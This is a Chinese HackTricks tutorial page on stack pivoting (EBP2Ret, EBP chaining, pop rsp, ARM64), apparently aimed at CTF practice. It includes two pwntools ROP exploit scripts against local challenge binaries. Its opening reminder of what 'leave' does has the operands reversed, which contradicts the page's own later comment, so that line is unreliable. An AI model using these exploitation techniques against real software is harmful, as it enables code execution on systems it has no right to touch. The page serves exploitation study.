# 栈枢轴 - EBP2Ret - EBP链接
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## 基本信息 这种技术利用了操纵**基指针(EBP)**的能力,通过精心使用EBP寄存器和**`leave; ret`**指令序列来链接多个函数的执行。 作为提醒,**`leave`**基本上意味着: ``` mov ebp, esp pop ebp ret ``` ### EBP2Ret 这种技术在你可以**改变 EBP 寄存器但无法直接改变 EIP 寄存器**时特别有用。它利用了函数执行完毕时的行为。 如果在 `fvuln` 执行期间,你成功地在栈中注入一个指向内存中你的 shellcode 地址的**伪造 EBP**(再加上 4 个字节以考虑 `pop` 操作),你就可以间接控制 EIP。当 `fvuln` 返回时,ESP 被设置为这个精心构造的位置,随后的 `pop` 操作将 ESP 减少 4,**有效地使其指向攻击者在其中存储的地址。**\ 注意你**需要知道 2 个地址**:ESP 将要到达的地址,你需要在那里写入 ESP 指向的地址。 #### 攻击构造 首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。 然后,你需要知道 `ret` 使用的地址,将**执行任意代码**。你可以使用: * 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 地址。 * **`system()`** 地址,后跟**4 个无效字节**和 `"/bin/sh"` 地址(x86 位)。 * 一个**`jump esp;`** gadget 地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后跟要执行的**shellcode**。 * 一些 [**ROP**](../rop-return-oriented-programing/) 链 请记住,在受控内存部分的任何这些地址之前,必须有**`4` 个字节**,因为 `leave` 指令的 `pop` 部分。可以滥用这 4B 来设置**第二个伪造 EBP**并继续控制执行。 #### Off-By-One Exploit 这种技术的一个特定变体称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置与 EBP 的前三个字节必须相同,允许在更受限制的条件下进行类似的操作。\ 通常修改字节 0x00 以跳转尽可能远。 此外,通常在栈中使用 RET 滑梯,并将真正的 ROP 链放在末尾,以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。 ### **EBP 链接** 因此,在栈的 `EBP` 条目中放置一个受控地址,并在 `EIP` 中放置一个指向 `leave; ret` 的地址,就可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。 现在,**`ESP`** 被控制,指向一个期望的地址,下一个要执行的指令是 `RET`。为了滥用这一点,可以在受控 ESP 位置放置以下内容: * **`&(下一个伪造 EBP)`** -> 加载新的 EBP,因为 `leave` 指令中的 `pop ebp` * **`system()`** -> 被 `ret` 调用 * **`&(leave;ret)`** -> 在 system 结束后调用,它将移动 ESP 到伪造 EBP 并重新开始 * **`&("/bin/sh")`**-> `system` 的参数 基本上,通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。 这就像一个 [ret2lib](../rop-return-oriented-programing/ret2lib/),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。 此外,这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这种技术和一个**栈泄漏**来调用一个获胜函数。这是页面上的最终有效载荷: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP可能不会被使用 正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件被编译时进行了一些优化,**EBP永远无法控制ESP**,因此,任何通过控制EBP来工作的利用都基本上会失败,因为它没有任何真正的效果。\ 这是因为如果二进制文件被优化了,**函数的前导和尾声会发生变化**。 * **未优化:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` * **优化:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## 控制 RSP 的其他方法 ### **`pop rsp`** 机关 [**在这个页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)中,您可以找到使用这种技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp` 机关**以及**来自堆栈的泄漏**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp 交换指令 ``` pop <=== return pointer xchg , rsp ``` ### jmp esp 在这里查看ret2esp技术: {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) {% endcontent-ref %} ## 参考资料和其他示例 * [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) * [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html) * 64位,通过一个以ret sled开头的rop链进行的一个利用 * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html) * 64位,无relro,canary,nx和pie。程序提供了一个用于获取堆栈或pie泄漏以及qword的WWW的泄漏。首先获取堆栈泄漏,然后使用WWW返回并获取pie泄漏。然后使用WWW创建一个滥用`.fini_array`条目+调用`__libc_csu_fini`的永久循环([更多信息请参见此处](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md))。通过滥用这种“永久”写入,在.bss中编写了一个ROP链,并最终调用它通过RBP进行枢轴转换。 ## ARM64 在ARM64中,函数的**入口和出口**不会在堆栈中存储和检索SP寄存器。此外,**`RET`**指令不会返回到SP指向的地址,而是**返回到`x30`内的地址**。 因此,默认情况下,仅仅滥用出口,您将无法通过覆盖堆栈内的某些数据来控制SP寄存器。即使您设法控制SP,您仍需要一种方法来**控制`x30`**寄存器。 * 入口 ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP指向帧记录 ``` * 出口 ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` {% hint style="danger" %} 在ARM64中执行类似于堆栈枢轴的方法是能够**控制`SP`**(通过控制某个将值传递给`SP`的寄存器或者因为某种原因`SP`正在从堆栈中获取其地址并且我们有一个溢出)然后滥用出口从**受控`SP`**加载**`x30`**寄存器并**`RET`**到它。 {% endhint %} 此外,在以下页面中,您可以看到ARM64中**Ret2esp的等效**: {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) {% endcontent-ref %}